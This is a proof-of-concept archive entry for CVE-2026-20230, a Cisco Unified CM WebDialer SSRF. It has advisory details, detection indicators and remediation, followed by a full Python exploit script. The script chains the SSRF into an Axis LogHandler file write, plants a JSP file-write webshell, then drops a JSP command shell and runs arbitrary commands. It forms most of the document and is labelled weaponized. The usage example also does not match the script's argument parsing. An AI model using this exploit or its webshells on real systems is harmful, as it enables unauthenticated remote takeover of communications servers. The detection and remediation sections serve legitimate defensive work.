PoC Archive PoC Archive
Critical CVE-2026-20230 unpatched

Cisco Unified CM WebDialer SSRF to Arbitrary File Write / RCE (CVE-2026-20230)

by Cisco (advisory); W5M1n9 (PoC) · 2026-07-01

CVSS 8.6/10
Severity
Critical
CVE
CVE-2026-20230
Category
network
Affected product
Cisco Unified Communications Manager (Unified CM) and Unified CM Session Management Edition (SME)
Affected versions
Deployments with the WebDialer service enabled (disabled by default)
Disclosed
2026-07-01
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-01
Last Updated2026-06-25
Author / ResearcherCisco (advisory); W5M1n9 (PoC)
CVE / AdvisoryCVE-2026-20230
Categorynetwork
SeverityCritical
CVSS Score8.6 (CVSSv3)
StatusWeaponized
TagsSSRF, RCE, Cisco, Unified-Communications-Manager, WebDialer, file-write, webshell, jsp-webshell, CISA-KEV, active-exploitation
RelatedN/A

Affected Target

FieldValue
Software / SystemCisco Unified Communications Manager (Unified CM) and Unified CM Session Management Edition (SME)
Versions AffectedDeployments with the WebDialer service enabled (disabled by default)
Language / PlatformJava/Tomcat (target); Python (PoC)
Authentication RequiredNo
Network Access RequiredYes (HTTP to Unified CM WebDialer service)

Summary

CVE-2026-20230 is a critical server-side request forgery vulnerability in Cisco Unified CM / Unified CM SME caused by improper input validation of HTTP requests processed by the WebDialer component. A remote unauthenticated attacker can chain unauthenticated web access, hostname discovery from the WebDialer WSDL, SSRF through the cmplatform install-status endpoint, and Axis service abuse to achieve arbitrary file write — dropping a JSP web shell into the Tomcat axis2-web directory — and subsequent command execution. CISA added this to KEV on 2026-06-25 with FCEB remediation due 2026-06-28. WebDialer must be enabled for the vulnerable code path to be reachable (it is disabled by default).


Vulnerability Details

Root Cause

Improper input validation of HTTP requests handled by the WebDialer service allows an attacker to trigger SSRF against Unified CM’s internal cmplatform install-status endpoint. That endpoint can be abused to deploy a malicious Axis service descriptor, which in turn abuses org.apache.axis.handlers.LogHandler to write attacker-controlled content (a JSP file) into the Tomcat webroot.

Attack Vector

  1. get_hostname() — retrieve the real internal hostname from /webdialer/Version.jws?wsdl.
  2. ssrf_create_axis_service() — send a crafted, doubly-encoded Axis deployment descriptor to /cmplatform/installClusterStatusExecute, creating a malicious Axis service (e.g. randomR11) that abuses LogHandler to write aaa.jsp into the axis2-web directory.
  3. Verify the malicious service, then write a second-stage JSP command shell (c.jsp).
  4. Execute an operator-supplied command via the deployed JSP shell.

Impact

Unauthenticated SSRF chained to arbitrary file write and JSP-based remote code execution on the Unified CM server.


Environment / Lab Setup

Target:   Cisco Unified CM / Unified CM SME with WebDialer service enabled
Attacker: Python 3 + requests

Proof of Concept

PoC Script

See CVE-2026-20230-poc.py in this folder.

1
2
python3 CVE-2026-20230-poc.py --target https://ucm.example.com --check
python3 CVE-2026-20230-poc.py --target https://ucm.example.com --cmd id

Supports a --check mode for non-destructive vulnerability confirmation, plus target/port and operator-command selection for full exploitation.


Detection & Indicators of Compromise

Signs of compromise:

  • Unrecognized .jsp files in axis2-web or other Tomcat webroot directories
  • Cisco RTMT / syslog entries showing Axis service creation via cmplatform/installClusterStatusExecute
  • Outbound requests to newly-deployed JSP shells shortly after WebDialer WSDL probing

Remediation

ActionDetail
Primary fixApply the Cisco fix per cisco-sa-cucm-ssrf-cXPnHcW
MitigationDisable the WebDialer service if not required — removes the vulnerable code path entirely
CleanupAudit axis2-web and other Tomcat directories for unauthorized JSP files if compromise is suspected

References


Notes

Auto-ingested from https://github.com/W5M1n9/Cisco-Unified-Communications-Manager-Server-Side-Forgery-Request-Vulnerability-CVE-2026-20230 on 2026-07-01. Disclosed 2026-06-25; independently verified as a real operational exploit (not just a scanner) — README covers the full attack chain plus defensive considerations.

CVE-2026-20230-poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
#!/usr/bin/env python3
"""
CVE-2026-20230 - Cisco Unified Communications Manager (CUCM) Arbitrary File Write RCE PoC

Affected: Cisco Unified Communication Manager 15.0.1.13901-2

Attack Chain:
  1. Get real hostname via /webdialer/Version.jws?wsdl
  2. SSRF via /cmplatform/installClusterStatusExecute to create Axis service (randomR11)
  3. Use randomR11 service to write webshell (aaa.jsp)
  4. Use aaa.jsp to write command execution shell (c.jsp)
  5. Execute arbitrary commands via c.jsp

DISCLAIMER: For authorized security research and educational purposes only.
"""

import requests
import urllib.parse
import sys
import argparse
import re

requests.packages.urllib3.disable_warnings()


def get_hostname(target):
    """
    Step 1: Get the real hostname of the target.
    The SSRF filter blocks 127.0.0.1 and localhost, but allows the real hostname.
    """
    url = f"https://{target}/webdialer/Version.jws?wsdl"
    print(f"[*] Step 1: Fetching hostname from {url}")
    try:
        resp = requests.get(url, verify=False, timeout=10)
        if resp.status_code == 200:
            # Extract hostname from WSDL - typically in <wsdl:service> or similar
            # The actual hostname is embedded in the WSDL response
            match = re.search(r'location="https?://([^"/]+)', resp.text)
            if match:
                hostname = match.group(1)
                print(f"[+] Hostname found: {hostname}")
                return hostname
            else:
                # Fallback: try to find any hostname-like pattern
                print("[!] Could not parse hostname from WSDL, using target IP")
                return target
        else:
            print(f"[-] Failed to get hostname, HTTP {resp.status_code}")
            return None
    except Exception as e:
        print(f"[-] Error getting hostname: {e}")
        return None


def ssrf_create_axis_service(target, hostname):
    """
    Step 2: SSRF to create an Axis service (randomR11) that allows arbitrary file write.

    The SSRF works by:
    - Sending a request to /cmplatform/installClusterStatusExecute
    - The 'hostname' parameter is used to construct an internal URL
    - We inject a path traversal + Axis deployment descriptor
    - The `!--` escapes the normal installstages XML output
    - LogHandler writes the deployment descriptor to aaa.jsp

    The payload creates an Axis service named 'randomR11' backed by java.util.Random,
    allowing us to call any method (*) including nextInt() with arbitrary arguments.
    """
    # Base path that the SSRF will request internally
    # vm01 is the real hostname, used as prefix to reach the internal API
    base_path = f"{hostname}/webdialer/services/AdminService/platformcom/api/v1/software/installstages/"

    # The deployment descriptor injected after !-- (which closes XML comment in response)
    # This creates an Axis LogHandler that writes the deployment XML to aaa.jsp
    deployment_xml = (
        '!--><deployment xmlns="http://xml.apache.org/axis/wsdd/" '
        'xmlns:java="http://xml.apache.org/axis/wsdd/providers/java">'
        '<service name="randomR11" provider="java:RPC">'
        '<requestFlow>'
        '<handler type="java:org.apache.axis.handlers.LogHandler">'
        '<parameter name="LogHandler.fileName" '
        'value="../../../../../../../../../../../../common/log/taos-log-a/'
        'tomcat/webapps/platform-services/axis2-web/aaa.jsp"/>'
        '<parameter name="LogHandler.writeToConsole" value="false"/>'
        '</handler>'
        '</requestFlow>'
        '<parameter name="className" value="java.util.Random"/>'
        '<parameter name="allowedMethods" value="*"/>'
        '</service>'
        '</deployment'
    )

    # URL-encode the deployment XML (double-encoded since it goes through two layers)
    # First layer: the entire hostname param is URL-decoded by the servlet
    # Second layer: the SSRF target URL-decodes the query string
    encoded_deployment = urllib.parse.quote(deployment_xml, safe='')

    payload_path = f"{base_path}?method={encoded_deployment}"

    # URL-encode the entire payload as it goes into the hostname query param
    hostname_param = urllib.parse.quote(payload_path, safe='')

    url = f"https://{target}/cmplatform/installClusterStatusExecute"
    params = {
        "action": "clusterNodeInstallStatus",
        "hostname": hostname_param,
        "filename": "bbbbbb"
    }

    print(f"[*] Step 2: Creating Axis service via SSRF")
    print(f"[*] URL: {url}")

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Referer": f"https://{target}/webdialer/services",
    }

    try:
        resp = requests.get(url, params=params, headers=headers, verify=False, timeout=15)
        print(f"[*] Response status: {resp.status_code}")
        if resp.status_code == 200:
            print("[+] Axis service creation request sent successfully")
            return True
        else:
            print(f"[-] Unexpected response: {resp.status_code}")
            return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False


def verify_axis_service(target):
    """
    Step 2b: Verify that the randomR11 service was deployed.
    Visit /webdialer/services to list available services.
    """
    url = f"https://{target}/webdialer/services"
    print(f"[*] Step 2b: Verifying Axis service deployment at {url}")
    try:
        resp = requests.get(url, verify=False, timeout=10)
        if resp.status_code == 200 and "randomR11" in resp.text:
            print("[+] randomR11 service confirmed deployed!")
            return True
        else:
            print(f"[!] Could not confirm randomR11 service (status: {resp.status_code})")
            return False
    except Exception as e:
        print(f"[-] Error verifying service: {e}")
        return False


def write_initial_webshell(target):
    """
    Step 3: Use the randomR11 service to write a simple file-write webshell.

    The randomR11 service is backed by java.util.Random, and we call nextInt()
    with a CDATA-wrapped JSP payload. The LogHandler writes this to aaa.jsp.

    The webshell code:
    <%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(
      application.getRealPath("/")+request.getParameter("f"))).write(
      request.getParameter("t").getBytes());%>

    This takes params f (filename) and t (content) to write arbitrary files.
    """
    # JSP webshell that takes f=filename and t=content to write files
    webshell_code = (
        '<%if(request.getParameter("f")!=null)'
        '(new java.io.FileOutputStream('
        'application.getRealPath("/")+request.getParameter("f")))'
        '.write(request.getParameter("t").getBytes());%>'
    )

    payload = f"<![CDATA[\n{webshell_code}\n]]>"

    url = f"https://{target}/webdialer/services/randomR11"
    params = {
        "method": "nextInt",
        "arg0": payload
    }

    print(f"[*] Step 3: Writing initial webshell (aaa.jsp)")
    print(f"[*] URL: {url}")

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Referer": f"https://{target}/webdialer/services",
    }

    try:
        resp = requests.get(url, params=params, headers=headers, verify=False, timeout=15)
        print(f"[*] Response status: {resp.status_code}")
        # May return error even on success (the payload is not a valid int)
        return True
    except Exception as e:
        print(f"[-] Error: {e}")
        return False


def write_command_shell(target):
    """
    Step 4: Use aaa.jsp to write the command execution shell (c.jsp).

    aaa.jsp params:
      f = relative path to write to
      t = URL-encoded JSP command shell content

    The command shell:
    <% if("123".equals(request.getParameter("pwd"))){
         java.io.InputStream in = Runtime.getRuntime().exec(
           request.getParameter("i")).getInputStream();
         int a = -1;
         byte[] b = new byte[2048];
         out.print("<pre>");
         while((a=in.read(b))!=-1){ out.println(new String(b)); }
         out.print("</pre>");
       } %>

    Takes pwd=123 for auth, i=command to execute.
    """
    # Command execution JSP
    cmd_shell = (
        '<% if("123".equals(request.getParameter("pwd"))){'
        ' java.io.InputStream in = Runtime.getRuntime().exec('
        'request.getParameter("i")).getInputStream();'
        ' int a = -1;'
        ' byte[] b = new byte[2048];'
        ' out.print("<pre>");'
        ' while((a=in.read(b))!=-1){ out.println(new String(b)); }'
        ' out.print("</pre>");'
        ' } %>'
    )

    url = f"https://{target}/platform-services/axis2-web/aaa.jsp"
    params = {
        "f": "../../../../../../../common/log/taos-log-a/tomcat/webapps/platform-services/axis2-web/c.jsp",
        "t": cmd_shell
    }

    print(f"[*] Step 4: Writing command execution shell (c.jsp)")
    print(f"[*] URL: {url}")

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    }

    try:
        resp = requests.get(url, params=params, headers=headers, verify=False, timeout=15)
        print(f"[*] Response status: {resp.status_code}")
        return True
    except Exception as e:
        print(f"[-] Error: {e}")
        return False


def execute_command(target, command="id"):
    """
    Step 5: Execute arbitrary commands via c.jsp.

    c.jsp params:
      pwd = 123 (authentication)
      i = command to execute
    """
    url = f"https://{target}/platform-services/axis2-web/c.jsp"
    params = {
        "pwd": "123",
        "i": command
    }

    print(f"[*] Step 5: Executing command: {command}")
    print(f"[*] URL: {url}")

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    }

    try:
        resp = requests.get(url, params=params, headers=headers, verify=False, timeout=15)
        print(f"[*] Response status: {resp.status_code}")
        if resp.status_code == 200:
            print(f"[+] Command output:\n{resp.text}")
            return resp.text
        else:
            print(f"[-] Failed: HTTP {resp.status_code}")
            print(resp.text)
            return None
    except Exception as e:
        print(f"[-] Error: {e}")
        return None


def check_vulnerable(target):
    """
    Quick check if target appears to be a CUCM instance.
    """
    url = f"https://{target}/webdialer/Version.jws?wsdl"
    print(f"[*] Checking if target is CUCM: {url}")
    try:
        resp = requests.get(url, verify=False, timeout=10)
        if resp.status_code == 200 and ("webdialer" in resp.text.lower() or "wsdl" in resp.text.lower()):
            print("[+] Target appears to be CUCM - WSDL endpoint accessible")
            return True
        print("[-] Target does not appear to be vulnerable CUCM")
        return False
    except Exception as e:
        print(f"[-] Connection failed: {e}")
        return False


def full_exploit(target, command="id"):
    """Run the full exploit chain."""
    print(f"\n{'='*60}")
    print(f"  CVE-2026-20230 CUCM RCE Exploit")
    print(f"  Target: {target}")
    print(f"{'='*60}\n")

    # Step 1: Get hostname
    hostname = get_hostname(target)
    if not hostname:
        print("[-] Failed to get hostname, aborting")
        return False

    # Step 2: Create Axis service via SSRF
    if not ssrf_create_axis_service(target, hostname):
        print("[-] Failed to create Axis service, aborting")
        return False

    # Step 2b: Verify
    verify_axis_service(target)

    # Step 3: Write initial webshell
    if not write_initial_webshell(target):
        print("[-] Failed to write initial webshell, aborting")
        return False

    # Step 4: Write command shell
    if not write_command_shell(target):
        print("[-] Failed to write command shell, aborting")
        return False

    # Step 5: Execute command
    execute_command(target, command)

    return True


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-20230 CUCM Arbitrary File Write RCE PoC"
    )
    parser.add_argument("target", help="Target host (e.g., 192.168.182.50)")
    parser.add_argument("-c", "--command", default="id", help="Command to execute (default: id)")
    parser.add_argument("--check", action="store_true", help="Only check if target is vulnerable")
    parser.add_argument("--hostname", help="Provide hostname manually (skip auto-detection)")
    parser.add_argument("--port", type=int, default=443, help="Target port (default: 443)")

    args = parser.parse_args()

    # Format target with port if needed
    target = args.target
    if ":" not in target and args.port != 443:
        target = f"{target}:{args.port}"

    if args.check:
        check_vulnerable(target)
        return

    full_exploit(target, args.command)


if __name__ == "__main__":
    main()